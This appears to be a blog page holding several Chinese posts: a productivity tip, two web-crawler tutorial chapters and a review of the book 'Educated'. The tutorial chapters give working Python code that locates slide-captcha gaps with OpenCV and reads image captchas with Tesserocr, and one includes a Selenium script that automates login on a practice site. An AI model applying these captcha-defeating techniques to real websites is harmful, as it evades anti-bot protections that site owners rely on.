其实我个人感觉我的拖延症是非常严重的,很多时候事情一多,就一个也不想做,俗话说叫“论堆”了。也有很多时候脑海里有个长期大目标,但迟迟不肯动手。

一般我的现象是这样的:

  • 这件事好大好空啊,不知道从哪里下手。
  • 一想到开始好久没做过或者从没做过的一件事就觉得麻烦。
  • 一想到从那么一堆事情里面开始梳理开始做就觉得麻烦。

你中枪了吗?

然鹅,近期我发现了一个不错的方法,可以帮助我缓解拖延症。试用之后我的整体效率高了不少,同时还感到满满的成就感,同时还感觉时间多了不少。

其实方法很简单。

每天早上起来花 10 分钟把今天要做的事情按小时粒度全部列出来,不论是工作还是日常生活。

是的,这个方法我特意用了一周左右,感觉非常有效,效率高了很多!

我思考了下原因,每天低效或者有时候觉得无所事事的原因就是没有目标,尤其是没有短期目标。这个短期目标并不是一周、并不是一天,而应该拆解到小时(当然更牛逼的人会拆解到分钟,抱歉我还做不到)。

举个栗子。

比如我今天要上班,上班一般有些会需要开,有些代码需要些,有些文档需要整等等的,下班之后我还要运动下,还要写点东西,还要看点书,还要玩会游戏放松下。

OK,都没问题。

注:公司的邮件系统一般会有会议什么的安排,比如我公司就用的 Outlook 和 Teams,但是它就比较难和我个人的待做清单(滴答清单)有机地融合在一起,所以,我干脆直接全部以自己的待做清单为准,我会在自己的待做清单里面再把今天我要做的所有事情都梳理一遍。

比如说,我的一天可能就这样的:

  • 八点半:起床、洗漱、定早餐
  • 九点:吃早餐
  • 十点:开会讨论某个项目进度
  • 十一点:写某个功能 A 的代码
  • 十二点:午饭
  • 两点:整理某个项目文档
  • 三点:写某个功能 B 的代码
  • 四点半:开会讨论技术问题
  • 六点:晚饭
  • 七点:学习某个知识点
  • 八点半:写某个技术总结
  • 九点:跑步运动
  • 十点半:玩游戏放松
  • 十一点:看看新闻和书

OK,这些所有的我都会列到我的待做清单(滴答清单)中。

当然上面的安排都是随便写写的,每天都是不一样的,都是每天早上花 10 分钟左右想出来并列出来的,重要的是根据自己的实际情况合理分配一个预估时间点。

这个时间点不一定准,如果某个做不完,那稍微调整也没问题。

这样我每天从早上开始就觉得很有目标和动力,每做完一件事情就打勾,一天下来,十几项事情都勾完了,会很有成就感。

这样做有几个好处:

  • 每个小时都有清晰的事情可以做,而不是做完了一件事之后不知道下面做什么,就容易走神、跑偏甚至就玩起来一发不可收拾。
  • 每天记录下来不会漏掉一些重要的事情。
  • 做事情的节奏感很强。
  • 同时每天做完之后成就感也很强。

是的,每天都会感觉做的很充实,甚至每天的事情做完了之后还觉得多出来了一些时间,就会感觉到更满足,剩下的时间自己可以继续分配,或者就简单做自己想做的事情。

嗯,对我来说还是很有用的!

大家也去试试吧:每天早上起来花 10 分钟把今天要做的事情按小时粒度全部列出来,然后去执行吧!

更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

上一节我们学习了利用 OCR 技术对图形验证码进行识别的方法,但随着互联网技术的发展,各种新型验证码层出不穷,最具有代表性的便是滑动验证码了。

本节我们首先介绍下滑动验证码的验证流程,然后介绍一个简易的利用图像处理技术来识别滑动验证码缺口的方法。

1. 滑动验证码

说起滑动验证码,比较有代表性的服务商有极验、网易易盾等,验证码效果如图所示:

极验

网易易盾

验证码下方通常会有一个滑轨,同时带有文字提示「拖动滑块完成拼图」,我们需要按住滑轨上的滑块向右拖拽,这时候验证码最左侧的滑块便会跟随滑轨上的滑块向右移动,在验证码右侧会有一个滑块缺口,我们需要恰好将滑块拖动到目标缺口处,这时候就算验证成功了,验证成功的效果如图所示:

image-20210418114633889

所以,如果我们想要用爬虫来自动化完成这一流程的话,关键步骤有如下两个:

  • 识别出目标缺口的位置
  • 将缺口滑动到对应位置

其中第二步的实现有多种方式,比如我们可以用 Selenium 等自动化工具模拟完成这个流程,验证并登录成功之后获取对应的 Cookies 或 Token 等信息再进行后续的操作,但这种方法运行效率会比较低。另一种方法便是直接逆向验证码背后的 JavaScript 逻辑,将缺口信息直接传给 JavaScript 代码执行获取一些类似“密钥”的信息,再利用这些“密钥”进行下一步的操作。

注意:由于某些出于安全考虑的原因,本书不会再介绍第二步的具体操作,而是只针对于第一步的技术问题进行讲解。

因此,本节只会针对于第一步即如何识别出目标缺口的位置进行介绍,即给定一张验证码图片,如何用图像识别的方法识别出缺口的位置。

2.基本原理

本节我们会介绍利用 OpenCV 进行缺口识别的方法,输入一张带有缺口的验证码图片,输出缺口的位置(一般为缺口左侧横坐标)。

比如输入的验证码图片如下:

captcha

最后输出的识别结果如下:

image_label

本节介绍的方法是利用 OpenCV 进行基本的图像处理来实现的,主要步骤包括:

  • 对验证码图片进行高斯模糊滤波处理,消除部分噪声干扰
  • 对验证码图片应用边缘检测算法,通过调整相应阈值识别出滑块边缘
  • 对上一步得到的各个边缘轮廓信息,通过对比面积、位置、周长等特征筛选出最可能的轮廓位置,得到缺口位置。

3.准备工作

在本节开始之前请确保已经安装好了 python-opencv 库,安装方式如下:

1
pip3 install python-opencv

如果安装出现问题,可以参考详细的安装步骤:https://setup.scrape.center/python-opencv。

另外建议提前准备一张滑动验证码图片,样例图片下载地址:https://github.com/Python3WebSpider/CrackSlideCaptcha/blob/cv/captcha.png,当然也可以从 https://captcha1.scrape.center/ 自行截取,最终的图片如上文所示。

4.基础知识

在真正开始介绍之前,我们先需要了解一些 OpenCV 的基础 API,以帮助我们更好地理解整个原理。

高斯滤波

高斯滤波是用来去除图像中的一些噪声的,基本效果其实就是把一张图像变得模糊化,减少一些图像噪声干扰,从而为下一步的边缘检测做好铺垫。

OpenCV 提供了一个用于实现高斯模糊的方法,叫做 GaussianBlur,方法声明如下:

1
def GaussianBlur(src, ksize, sigmaX, dst=None, sigmaY=None, borderType=None)

比较重要的参数介绍如下:

  • src:即需要被处理的图像。
  • ksize:进行高斯滤波处理所用的高斯内核大小,它需要是一个元组,包含 x 和 y 两个维度。
  • sigmaX:表示高斯核函数在 X 方向的的标准偏差。
  • sigmaY:表示高斯核函数在 Y 方向的的标准偏差,若 sigmaY 为 0,就将它设为 sigmaX,如果 sigmaX 和 sigmaY 都是 0,那么 sigmaX 和 sigmaY 就通过 ksize 计算得出。

这里 ksize 和 sigmaX 是必传参数,对本节样例图片,ksize 我们可以取 (5, 5),sigmaX 可以取 0。

经过高斯滤波处理后,图像会变得模糊,效果如下:

image_gaussian_blur

边缘检测

由于验证码目标缺口通常具有比较明显的边缘,所以借助于一些边缘检测算法并通过调整阈值是可以找出它的位置的。目前应用比较广泛的边缘检测算法是 Canny,它是 John F. Canny 于 1986 年开发出来的一个多级边缘检测算法,效果还是不错的,OpenCV 也对此算法进行了实现,方法名称就叫做 Canny,声明如下:

1
def Canny(image, threshold1, threshold2, edges=None, apertureSize=None, L2gradient=None)

比较重要的参数介绍如下:

  • image:即需要被处理的图像。
  • threshold1、threshold2:两个阈值,分别为最小和最大判定临界点。
  • apertureSize:用于查找图像渐变的 Sobel 内核的大小。
  • L2gradient:指定用于查找梯度幅度的等式。

通常来说,我们只需要设定 threshold1 和 threshold2 即可,其数值大小需要视不同图像而定,比如本节样例图片可以分别取 200 和 450。

经过边缘检测算法处理后,一些比较明显的边缘信息会被保留下来,效果如下:

image-20210418142819176

轮廓提取

进行边缘检测处理后,我们可以看到图像中会保留有比较明显的边缘信息,下一步我们可以用 OpenCV 将边缘轮廓提取出来,这里需要用到 findContours 方法,方法声明如下:

1
def findContours(image, mode, method, contours=None, hierarchy=None, offset=None)

比较重要的参数介绍如下:

  • image:即需要被处理的图像。
  • mode:定义轮廓的检索模式,详情见 OpenCV 的 RetrievalModes 的介绍。
  • method:定义轮廓的近似方法,详情见 OpenCV 的 ContourApproximationModes 的介绍。

在这里,我们选取 mode 为 RETR_CCOMP,method 为 CHAIN_APPROX_SIMPLE,具体的选型标准可以参考 OpenCV 的文档介绍,这里不再展开讲解。

外接矩形

提取到轮廓之后,为了方便进行判定,我们可以将轮廓的外界矩形计算出来,这样方便我们根据面积、位置、周长等参数进行判定,以得出该轮廓是不是目标滑块的轮廓。

计算外接矩形使用的方法是 boundingRect,方法声明如下:

1
def boundingRect(array)

只有一个参数:

  • array:可以是一个灰度图或者 2D 点集,这里可以传入轮廓信息。

经过轮廓信息和外接矩形判定之后,我们可以得到类似如下结果:

image-20210418142752172

可以看到这样就能成功获取各个轮廓的外接矩形,接下来我们根据外接矩形的面积、和位置就能筛选出缺口对应的位置了。

轮廓面积

现在已经得到了各个外接矩形,但是很明显有些矩形不是我们想要的,我们可以根据面积、周长等来进行筛选,这里就需要用到计算面积的方法,叫做 contourArea,方法定义如下:

1
def contourArea(contour, oriented=None)

参数介绍如下:

  • contour:轮廓信息。
  • oriented:面向区域标识符。有默认值 False。若为 True,该函数返回一个带符号的面积值,正负取决于轮廓的方向(顺时针还是逆时针)。若为 False,表示以绝对值返回。

返回结果就是轮廓的面积。

轮廓周长

同样,周长的计算也有对应的方法,叫做 arcLength,方法定义如下:

1
def arcLength(curve, closed)

参数介绍如下:

  • curve:轮廓信息。
  • closed:表示轮廓是否封闭。

返回结果就是轮廓的周长。

以上内容介绍了一些 OpenCV 内置方法,了解了这些方法的用法,我们可以对下文的具体实现有更透彻的理解。

5.缺口识别

接下来我们就开始真正实现一下缺口识别算法了。

首先我们定义高斯滤波、边缘检测、轮廓提取的三个方法,实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import cv2

GAUSSIAN_BLUR_KERNEL_SIZE = (5, 5)
GAUSSIAN_BLUR_SIGMA_X = 0
CANNY_THRESHOLD1 = 200
CANNY_THRESHOLD2 = 450

def get_gaussian_blur_image(image):
return cv2.GaussianBlur(image, GAUSSIAN_BLUR_KERNEL_SIZE, GAUSSIAN_BLUR_SIGMA_X)

def get_canny_image(image):
return cv2.Canny(image, CANNY_THRESHOLD1, CANNY_THRESHOLD2)

def get_contours(image):
contours, _ = cv2.findContours(image, cv2.RETR_CCOMP, cv2.CHAIN_APPROX_SIMPLE)
return contours

三个方法介绍如下:

  • get_gaussian_blur_image:传入待处理图像信息,返回高斯滤波处理后的图像,ksize 定义为 (5, 5),sigmaX 定义为 0。
  • get_canny_image:传入待处理图像信息,返回边缘检测处理后的图像,threshold1 和 threshold2 分别定义为 200 和 450。
  • get_contours:传入待处理图像信息,返回检测到的轮廓信息,这里 mode 设定为 RETR_CCOMP,method 设定为 CHAIN_APPROX_SIMPLE。

原始待识别验证码命名为 captcha.png,接下来我们分别调用以上方法对验证码进行处理:

1
2
3
4
5
image_raw = cv2.imread('captcha.png')
image_height, image_width, _ = image_raw.shape
image_gaussian_blur = get_gaussian_blur_image(image_raw)
image_canny = get_canny_image(image_gaussian_blur)
contours = get_contours(image_canny)

原始图片我们命名为 image_raw 变量,读取图片之后获取其宽高像素信息,接着调用了 get_gaussian_blur_image 方法进行高斯滤波处理,返回结果命名为 image_gaussian_blur,接着将 image_gaussian_blur 传给 get_canny_image 方法进行边缘检测处理,返回结果命名为 image_canny,接着调用 get_contours 方法得到各个边缘的轮廓信息,赋值为 contours 变量。

好,得到各个轮廓信息之后,我们便需要根据各个轮廓的外接矩形的面积、周长、位置来筛选我们想要结果了。

所以,我们需要先确定怎么来筛选,比如面积我们可以设定一个范围,周长设定一个范围,缺口位置设定一个范围,通过实际测量,我们可以得出目标缺口的外接矩形的高度大约是验证码高度的 0.25 倍,宽度大约是验证码宽度的 0.15 倍。在允许误差 20% 的情况下,根据验证码的宽高信息我们大约可以计算出面积、周长的范围,同时缺口位置(缺口左侧)也有一个最小偏移值,比如最小偏移是验证码宽度的 0.2 倍,最大偏移是验证码宽度的 0.85 倍。综合这些内容,我们可以定义三个阈值方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def get_contour_area_threshold(image_width, image_height):
contour_area_min = (image_width * 0.15) * (image_height * 0.25) * 0.8
contour_area_max = (image_width * 0.15) * (image_height * 0.25) * 1.2
return contour_area_min, contour_area_max

def get_arc_length_threshold(image_width, image_height):
arc_length_min = ((image_width * 0.15) + (image_height * 0.25)) * 2 * 0.8
arc_length_max = ((image_width * 0.15) + (image_height * 0.25)) * 2 * 1.2
return arc_length_min, arc_length_max

def get_offset_threshold(image_width):
offset_min = 0.2 * image_width
offset_max = 0.85 * image_width
return offset_min, offset_max

三个方法介绍如下:

  • get_contour_area_threshold:定义目标轮廓的下限和上限面积,分别为 contour_area_min 和 contour_area_max。
  • get_arc_length_threshold:定义目标轮廓的下限和上限周长,分别为 arc_length_min 和 arc_length_max。
  • get_offset_threshold:定义目标轮廓左侧的下限和上限偏移量,分别为 offset_min 和 offset_max。

最后我们只需要遍历各个轮廓信息,根据上述限定条件进行筛选,最后得出目标轮廓信息即可,实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
contour_area_min, contour_area_max = get_contour_area_threshold(image_width, image_height)
arc_length_min, arc_length_max = get_arc_length_threshold(image_width, image_height)
offset_min, offset_max = get_offset_threshold(image_width)
offset = None
for contour in contours:
x, y, w, h = cv2.boundingRect(contour)
if contour_area_min < cv2.contourArea(contour) < contour_area_max and \
arc_length_min < cv2.arcLength(contour, True) < arc_length_max and \
offset_min < x < offset_max:
cv2.rectangle(image_raw, (x, y), (x + w, y + h), (0, 0, 255), 2)
offset = x
cv2.imwrite('image_label.png', image_raw)
print('offset', offset)

这里我们首先调用了 get_contour_area_threshold、get_arc_length_threshold、get_offset_threshold 方法获取了轮廓的判定阈值,然后遍历了 contours 根据这些阈值进行了筛选,最终得到的外接矩形的 x 值就是目标缺口的偏移量。

同时目标缺口的外接矩形我们也调用了 rectangle 方法进行了标注,最终将其保存为 image_label.png 图像。

最终运行结果如下:

1
offset 163

同时得到输出的 image_label.png 文件如下:

image_label

这样我们就成功提取出来了目标滑块的位置了,本节的问题得以解决。

注意:出于安全考虑,本书只针对于第一步 - 识别验证码缺口位置的的技术问题进行讲解,关于怎样去模拟滑动或者绕过验证码,本书不再进行介绍,可以自行搜索相关资料探索。

6. 总结

本节我们介绍了利用 OpenCV 来识别滑动验证码缺口的方法,其中涉及到了一些关键的图像处理和识别技术,如高斯模糊、边缘检测、轮廓提取等算法。了解了基本的图像识别技术后,我们可以举一反三,将其应用到其他类型的工作上,也会很有帮助。

本节代码:https://github.com/Python3WebSpider/CrackSlideCaptcha/tree/cv,注意这里是 cv 分支。

Python

系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

各类网站采用了各种各样的措施来反爬虫,其中一个措施便是使用验证码。随着技术的发展,验证码的花样越来越多。验证码最初是几个数字组合的简单的图形,后来加入了英文字母和混淆曲线。还有一些网站使用了中文字符验证码,这使得识别愈发困难。

12306 验证码的出现使得行为验证码开始发展起来,用过 12306 的用户肯定多少为它的验证码头疼过,我们需要识别文字,点击与文字描述相符的图片,验证码完全正确,验证才能通过。随着技术的发展,现在这种交互式验证码越来越多,如滑动验证码需要将对应的滑块拖动到指定位置才能完成验证,点选验证码则需要点击正确的图形或文字才能通过验证。

验证码变得越来越复杂,爬虫的工作也变得越发艰难,有时候我们必须通过验证码的验证才可以访问页面。

本章就针对验证码的识别进行统一讲解,涉及的验证码有普通图形验证码、滑动验证码、点选验证码、手机验证码等,这些验证码识别的方式和思路各有不同,有直接使用图像处理库完成的,有的则是借助于深度学习技术完成的,有的则是借助于一些工具和平台完成的。虽然说技术各有不同,但了解这些验证码的识别方式之后,我们可以举一反三,用类似的方法识别其他类型验证码。

我们首先来看最简单的一种验证码,即图形验证码,这种验证码最早出现,现在依然也很常见,一般由 4 位左右字母或者数字组成。

例如这个案例网站 https://captcha7.scrape.center/ 就可以看到类似的验证码,如图所示:

这类验证码整体上比较规整,没有过多干扰线和干扰点,且文字没有大幅度的变形和旋转。

对于这一类的验证码我们就可以使用 OCR 技术来进行识别。

1. OCR 技术

OCR,即 Optical Character Recognition,中文翻译叫做光学字符识别。它是指电子设备(例如扫描仪或数码相机)检查纸上打印的字符,通过检测暗、亮的模式确定其形状,然后用字符识别方法将形状翻译成计算机文字的过程。OCR 现在已经广泛应用于生产生活中,如文档识别、证件识别、字幕识别、文档检索等等。当然对于本节所述的图形验证码的识别也没有问题。

本节我们会以当前示例网站的验证码为例来讲解利用 OCR 来识别图形验证码的流程,输入上是一上图验证码的图片,输出就是验证码识别结果。

2. 准备工作

识别图形验证码需要 Tesserocr 库,本库的安装相对没有那么简单,可以参考 https://setup.scrape.center/tesserocr

另外在本节学习过程中还需要安装 Selenium、Pillow、Numpy,Retrying 库用作模拟登录、图像处理和操作重试,我们可以使用 pip3 来进行安装:

1
pip3 install selenium pillow numpy retrying

如果某个库安装有问题,可以参考如下链接:

  • Selenium:https://setup.scrape.center/selenium
  • Pillow:https://setup.scrape.center/pillow
  • Numpy:https://setup.scrape.center/numpy
  • retrying:https://setup.scrape.center/retrying

安装好了如上库之后,我们就可以开始本节的学习了。

3. 获取验证码

为了便于实验,我们先将验证码的图片保存到本地。

我们可以在浏览器中打开上述示例网站,然后右键点击这张验证码图片,将其保存到本地,命名为 captcha.png,示例如图所示:

这样我们就可以得到一张验证码图片,以供测试识别使用。

4. 识别测试

接下来新建一个项目,将验证码图片放到项目根目录下,用 tesserocr 库识别该验证码,代码如下所示:

1
2
3
4
5
6
import tesserocr
from PIL import Image

image = Image.open('captcha.png')
result = tesserocr.image_to_text(image)
print(result)

在这里我们新建了一个 Image 对象,调用了 tesserocr 的 image_to_text方法。传入该 Image 对象即可完成识别,实现过程非常简单,结果如下所示:

1
d241

另外,tesserocr 还有一个更加简单的方法,这个方法可直接将图片文件转为字符串,代码如下所示:

1
2
import tesserocr
print(tesserocr.file_to_text('captcha.png'))

可以得到同样的输出结果。

这时候我们可以看到,通过 OCR 技术我们便可以成功识别出验证码的内容了。

5. 验证码处理

接下来我们换一个验证码,将其命名为 captcha2.png,如图所示。

重新用下面的代码来测试:

1
2
3
4
5
6
import tesserocr
from PIL import Image

image = Image.open('captcha2.png')
result = tesserocr.image_to_text(image)
print(result)

可以看到如下输出结果:

1
-b32d

这次识别和实际结果有偏差,多了一些干扰结果,这是因为验证码内的多余的点干扰了图像的识别,导致出现了一些多余的内容。

对于这种情况,我们可以需要做一下额外的处理,把一些干扰信息去掉。

这里观察到图片里面其实有一些杂乱的点,而这些点的颜色大都比文本更浅一点,因此我们可以做一些预处理,将干扰的点通过颜色来排除掉。

我们可以首先将原来的图像转化为数组看下维度:

1
2
3
4
5
6
7
import tesserocr
from PIL import Image
import numpy as np

image = Image.open('captcha2.png')
print(np.array(image).shape)
print(image.mode)

运行结果如下:

1
2
(38, 112, 4)
RGBA

可以发现这个图片其实是一个三维数组,前两维 38 和 112 代表其高和宽,最后一维 4 则是每个像素点的表示向量。为什么是 4 呢,因为最后一维是一个长度为 4 的数组,分别代表 R(红色)、G(绿色)、B(蓝色)、A(透明度),即一个像素点有四个数字表示。那为什么是 RGBA 四个数字而不是 RGB 或其他呢?这是因为 image 的模式 mode 是 RGBA,即有透明通道的真彩色,我们看到第二行输出也印证了这一点。

模式 mode 定义了图像的类型和像素的位宽,一共有 9 种类型:

  • 1:像素用 1 位表示,Python 中表示为 True 或 False,即二值化。
  • L:像素用 8 位表示,取值 0-255,表示灰度图像,数字越小,颜色越黑。
  • P:像素用 8 位表示,即调色板数据。
  • RGB:像素用 3x8 位表示,即真彩色。
  • RGBA:像素用 4x8 位表示,即有透明通道的真彩色。
  • CMYK:像素用 4x8 位表示,即印刷四色模式。
  • YCbCr:像素用 3x8 位表示,即彩色视频格式。
  • I:像素用 32 位整型表示。
  • F:像素用 32 位浮点型表示。

为了方便处理,我们可以将 RGBA 模式转为更简单的 L 模式,即灰度图像。

我们可以利用 Image 对象的 convert 方法参数传入 L,即可将图片转化为灰度图像,代码如下所示:

1
2
image = image.convert('L')
image.show()

或者传入 1 即可将图片进行二值化处理,如下所示:

1
2
image = image.convert('1')
image.show()

在这里我们就转为灰度图像,然后根据阈值筛选掉图片中的干扰点,代码如下:

1
2
3
4
5
6
7
8
9
10
from PIL import Image
import numpy as np

image = Image.open('captcha2.png')
image = image.convert('L')
threshold = 50
array = np.array(image)
array = np.where(array > threshold, 255, 0)
image = Image.fromarray(array.astype('uint8'))
image.show()

在这里,变量 threshold 代表灰度的阈值,这里设置为 50。接着我们将图片 image 转化为了 Numpy 数组,接着利用 Numpy 的 where 方法对数组进行筛选和处理,这里指定了大于阈值的就设置为 255,即白色,否则就是 0,即黑色。

最后看下图片处理完之后是什么结果:

我们发现原来验证码中的很多点已经被去掉了,整个验证码变得黑白分明。这时重新识别验证码,代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
import tesserocr
from PIL import Image
import numpy as np

image = Image.open('captcha2.png')
image = image.convert('L')
threshold = 50
array = np.array(image)
array = np.where(array > threshold, 255, 0)
image = Image.fromarray(array.astype('uint8'))
print(tesserocr.image_to_text(image))

即可发现运行结果变成如下所示:

1
b32d

所以,针对一些有干扰的图片,我们可以做一些去噪处理,这会提高图片识别的正确率。

6. 识别实战

最后,我们可以来尝试下用自动化的方式来对案例进行验证码识别处理,这里我们使用 Selenium 来完成这个操作,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import time
import re
import tesserocr
from selenium import webdriver
from io import BytesIO
from PIL import Image
from retrying import retry
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
from selenium.common.exceptions import TimeoutException
import numpy as np


def preprocess(image):
image = image.convert('L')
array = np.array(image)
array = np.where(array > 50, 255, 0)
image = Image.fromarray(array.astype('uint8'))
return image


@retry(stop_max_attempt_number=10, retry_on_result=lambda x: x is False)
def login():
browser.get('https://captcha7.scrape.center/')
browser.find_element_by_css_selector('.username input[type="text"]').send_keys('admin')
browser.find_element_by_css_selector('.password input[type="password"]').send_keys('admin')
captcha = browser.find_element_by_css_selector('#captcha')
image = Image.open(BytesIO(captcha.screenshot_as_png))
image = preprocess(image)
captcha = tesserocr.image_to_text(image)
captcha = re.sub('[^A-Za-z0-9]', '', captcha)
browser.find_element_by_css_selector('.captcha input[type="text"]').send_keys(captcha)
browser.find_element_by_css_selector('.login').click()
try:
WebDriverWait(browser, 10).until(EC.presence_of_element_located((By.XPATH, '//h2[contains(., "登录成功")]')))
time.sleep(10)
browser.close()
return True
except TimeoutException:
return False


if __name__ == '__main__':
browser = webdriver.Chrome()
login()

在这里我们首先定义了一个 preprocess 方法,用于验证码的噪声处理,逻辑就和前面说的是一样的。

接着我们定义了一个 login 方法,其逻辑执行步骤是:

  • 打开样例网站
  • 找到用户名输入框,输入用户名
  • 找到密码输入框,输入密码
  • 找到验证码图片并截取,转化为 Image 对象
  • 预处理验证码,去除噪声
  • 对验证码进行识别,得到识别结果
  • 识别结果去除一些非字母和数字字符
  • 找到验证码输入框,输入验证码结果
  • 点击登录按钮
  • 等待「登录成功」字样的出现,如果出现则证明登录成功,否则重复以上步骤重试。

在这里我们还用到了 retrying 来指定了重试条件和重试次数,以保证在识别出错的情况下反复重试,增加总的成功概率。

运行代码我们可以观察到浏览器弹出并执行以上流程,可能重试几次后得到登录成功的页面,运行过程如图所示:

登录成功后的结果如图所示:

到这里,我们就能成功通过 OCR 技术识别成功验证码,并将其应用到模拟登录的过程中了。

7. 总结

本节我们了解了利用 Tesserocr 识别验证码的过程并将其应用于实战案例中实现了模拟登录。为了提高 Tesserocr 的识别准确率,我们可以对验证码图像进行预处理去除一些干扰,识别准确率会大大提高。但总归来说 Tesserocr 识别验证码的准确率并不是很高,下一节我们来介绍其他识别验证码的方案。

本节代码:https://github.com/Python3WebSpider/CrackImageCaptcha

本文参考资料:

  • 文档 - OCR - 百度百科:https://baike.baidu.com/item/OCR

个人随笔

这篇文章其实是我对一本书《你当像鸟飞往你的山》的读后感。

你可能在逛书店的时候看到过这本书,因为这本书一直占据畅销书的前几名,也曾作为比尔盖茨年度荐书 第一名和比尔盖茨年度荐书第一名畅销世界。

说起来这本书,真的我从开始读到完全读完花了大半年的时间,我其实对阅读这样的“长篇”记述性的书读起来并不怎么在行,一直断断续续在读,也一直断断续续在领悟这本书传达给我的深意,于是最后,这篇文章就诞生了。

本书的作者叫塔拉·韦斯特弗,在 1986 年生于美国爱达荷州,在她 17 岁之前从来没有上过学,一直在大山里和父母、哥哥姐姐们生活在肥料厂,但她通过自身的努力考上了大学,进而取得了剑桥大学的博士学位。一开始我看这本书的宣传和介绍以为就是一本讲差生克服种种困难逆袭变身学霸的故事,但是读了之后才发现,整本书的重点并不在描写自己多么刻苦学习,描写的是自己的整个成长和转变历程,是一个有创伤、成长和最终蜕变的故事,讲述的是作者如何冲破原生家庭的重重阻碍、如何和自己心理作斗争和抉择、如何寻找到真正自我的故事。

这本书的中文名叫《你当像鸟飞往你的山》,但英文就叫《Educated》,看起来毫不相关,一开始我非常诧异这俩名字到底有啥联系,然而读了之后,我才发现二者联系还是很密切的。Educated 意思就是教育,这是本书的核心关键词,作者通过教育救赎了自己,通过不断地教育,完成了自我的成长和蜕变。而《你当像鸟飞往你的山》其实就是在教育之上的两层含义,包括逃离和追寻真正的自我。

作者塔拉出生在一个非常让我难以想象的家庭之中,在一座大山里,父亲是摩门教的忠实信徒,同时性格比较抑郁狂躁,他不相信政府、学校、医院等任何组织,同时也在塔拉小的时候向她灌输类似的理念。而且父亲觉得世界末日终有一天会到来的,所以他还在自家的地窖中存储各种食物、罐头、汽油等等物资,母亲则是基本依附于父亲的,整体的家庭就是“男尊女卑”。塔拉一共有五个哥哥和一个姐姐,父亲会让自己的各个儿子女儿去废料厂搬运和整理各种废弃物、钢铁赚钱。没错,十几年来,塔拉就是这么过来的。其实我们就想象成,在一个偏远的大山里面,塔拉整个家庭生活条件困苦,从小没有上过学,和几个哥哥姐姐、父亲去拣拾废料为生,同时期间也受父母灌输的思想教育而成长。我们想想,假如真的有这么一个人,可能她的一生就在这样的节奏下慢慢过去了,从出生到死亡,伴随着自己生活的就是一堆废铜烂铁,生活一眼望得到头。

在这样阴暗的生活条件下,会有一束光吗?有的,她的哥哥泰勒就是那一束光,是他引领塔拉走向了教育的大门。

在本书的扉页印着四个字,“献给泰勒”,所以在阅读之初我就比较诧异,这个泰勒是何许人也?所以在阅读的时候我就去留意泰勒这个人物。真的,可以说,没有泰勒,塔拉的生活可能就如同前面所说的那样,在大山里面终其她的一生了。

泰勒是个比较内向的孩子,还容易紧张,还天生口吃,他唯一的朋友可能就是唱片和书籍。在塔拉年少的时候,泰勒带塔拉了解了唱片、书籍等东西,同时泰勒还通过自学考取了杨百翰大学。泰勒曾经对塔拉说过:“你可以选择像现在生活,也可以选择像我一样,考进杨百翰大学。”塔拉后来选择了后者,在和父亲一起打工的日子里,塔拉找书自学,终于她成功考取了杨百翰大学。后来,她凭借自己的努力和天赋,后来又获得了剑桥大学的博士学位,完成了自己的蜕变。

但这个过程是非常艰难的,尤其是她从小接受了原生家庭这样的启蒙,迈出这一步对她来说何其艰难。塔拉的蜕变和成长历经了各种反复挣扎和思想斗争,也承受了难以想象的艰辛。

在我理解,难点可能有这么两点:

  • 塔拉从小就没有接受过什么教育,家里也很难给到什么支持,她的学习条件很差,考取大学之前都得挤时间来学习。考上大学之后基础也肯定不好,跟上同龄人甚至超越同龄人需要付出常人难以想象的努力。
  • 从小塔拉就在大山里面成长,她从小的思想就被父母灌输,原生家庭的影响是巨大的。很多很多人可能在这样的环境下就妥协了,放弃挣扎了,逃离这样的生活需要面临巨大的阻力,不仅来自于家庭的阻拦,更多的是冲破自身的思想禁锢,能思考到自己究竟想要什么。

是的,塔拉最终做到了。她很努力,当然也很聪慧,同时也有不少贵人相助。比如她的老师给她思想上的引导,帮她申请助学金,推荐上剑桥大学等等。这几点我觉得真的都是缺一不可。我们可以说她运气不错,但是少了她自身的努力和拼搏,再多的聪慧和贵人相助都是白搭。

塔拉在蜕变和成长的过程中学了很多哲学、历史等书籍的熏陶,在学习过程中,她了解到了一些思想上的差异和碰撞,比如即使是史学家也可能由于认知局限而产生错误的观点。所以,她也慢慢思考到,父亲从小对自己灌输的观点也未必是正确的。在不断学习和教育的过程中,塔拉的认知被提高,不断更新自己的挂念,不断重塑自己的思想,最终蜕变并成长成了更好的自我。

但不得不提的是,塔拉最终逃离大山,最终也付出了和家庭分离甚至说决裂的代价。后来她和她的父母、在大山的哥哥们几乎没有了联系。多年之后,塔拉试图回到大山和家庭和解,但是最终也没有看到团圆的结局,毕竟真的没法回去了。但塔拉为什么选择去尝试和解呢?或许还是出于爱吧。其实塔拉的父母还是爱塔拉的,有一个画面我印象非常深刻,在父亲得知她要去大洋彼岸的剑桥大学读书的时候,父亲对塔拉说:“无论你在哪个角落,我们都可以去找你。我在地下埋了一千加仑汽油,世界末日来临时我可以去接你,带你回家,让你平平安安的,但要是你去了大洋彼岸…”。是的,父亲是爱她的,但爱并不能让她放弃自己的人生。

塔拉说:“你可以爱一个人,但仍然选择和他说再见;你可以每天都想念一个人,但仍然庆幸他已不在你的生命中…”。

